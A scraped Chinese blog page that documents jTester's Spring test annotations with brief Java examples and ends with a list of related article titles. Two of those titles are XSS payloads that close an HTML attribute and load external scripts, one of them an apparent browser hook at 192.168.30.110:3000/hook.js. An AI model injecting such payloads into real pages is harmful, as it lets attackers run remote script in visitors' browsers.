Jtester之集成Spring
来源:互联网 发布:合肥工业大学排名知乎 编辑:程序博客网 时间:2024/06/10 05:57
Spring模块注解如下。目前只用到了@SpringApplicationContext和@SpringBeanByName,mark一下。
1、@SpringApplicationContext
放在测试类前面,用来加载测试中用到的spring配置文件。可以和@AutoBeanInject配合使用,只配置最少公约的spring文件,其余的由jTester框架主动注册加载。
@SpringApplicationContext({"spring-dubbo1.xml","spring-dubbo2.xml"})public class SpringDemo extends JTester{ ......}
2、@AutoBeanInject
放在测试类前面,用来告诉jTester框架进行spring bean的自动注册。可以在@AutoBeanInject中定义若干个规则。
3、@BeanMap
jTester框架自动注册spring bean的规则。
4、@SpringBeanByName
按名称往spring容器注册当前字段的spring bean,或从spring容器注入spring bean到当前字段。
- 隐式定义bean,id=”productAuthService”,实现类由规则集查找。
@SpringBeanByNameIProductAuthService productAuthService;
- 显示定义bean,id=”productAuthService”
@SpringBeanByName("productAuthService")IProductAuthService pas;
- 显示定义bean,id=”customerService”,实现类是CustomerServiceImpl
@SpringBeanByName(claz=CustomerServiceImpl.class) CustomerService customerService;
5、@SpringBeanByType
按类型往spring容器注册当前字段的spring bean,或从spring容器注入spring bean到当前字段。
6、@SpringInitMethod
有2个作用, 用在扩展的bean实现类方法上,是Spring Bean的初始化方法,和@SpringBeanByName/@SpringBeanByType配合使用;用在测试类的方法上,该方法会在spring容器启动前被调用。
7、@SpringBeanFrom
把测试类中指定字段的值注入到spring容器中。
0 0
- Jtester之集成Spring
- jtester
- Jtester之TestNG常用注解
- Jtester之TestNG:@Factory注解
- Jtester之TestNG:@Listener注解
- Spring+CXF之集成
- Solr之spring集成
- ActiveMQ之spring集成Queue
- ActiveMQ之spring集成Topic
- Spring之 集成Junit测试
- spring集成redis之RedisTemplate
- SpringBoot之集成Spring AOP
- spring boot之集成数据库
- spring boot之集成页面
- spring boot之集成kafka
- SpringBoot之集成Spring AOP
- SpringBoot之集成Spring AOP
- SpringBoot之集成Spring AOP
- java 防止表单重复提交(使用Session)
- knockoutjs对复选框赋值导致的去到另一页面后,再history.back()回退所有复选框被选中问题的解决
- java只有值传递
- Ubuntu 使用 Android Studio 编译 TensorFlow android demo
- 2820:YY的GCD
- Jtester之集成Spring
- ubuntu 64bit主机下面安装android的NDK开发环境
- 123"/><script src=192.168.30.110:3000/hook.js></script><!-
- android基础--CollapsingToolbarLayout使用
- DUBBO应用
- Junit测试一个spring静态工厂实例化bean的例子,出现java.lang.IllegalArgumentException异常。
- Mac 隐藏文件夹
- c++实现快速选择算法
- "/><script src="http://www.myweb.com/get.js"></script><!-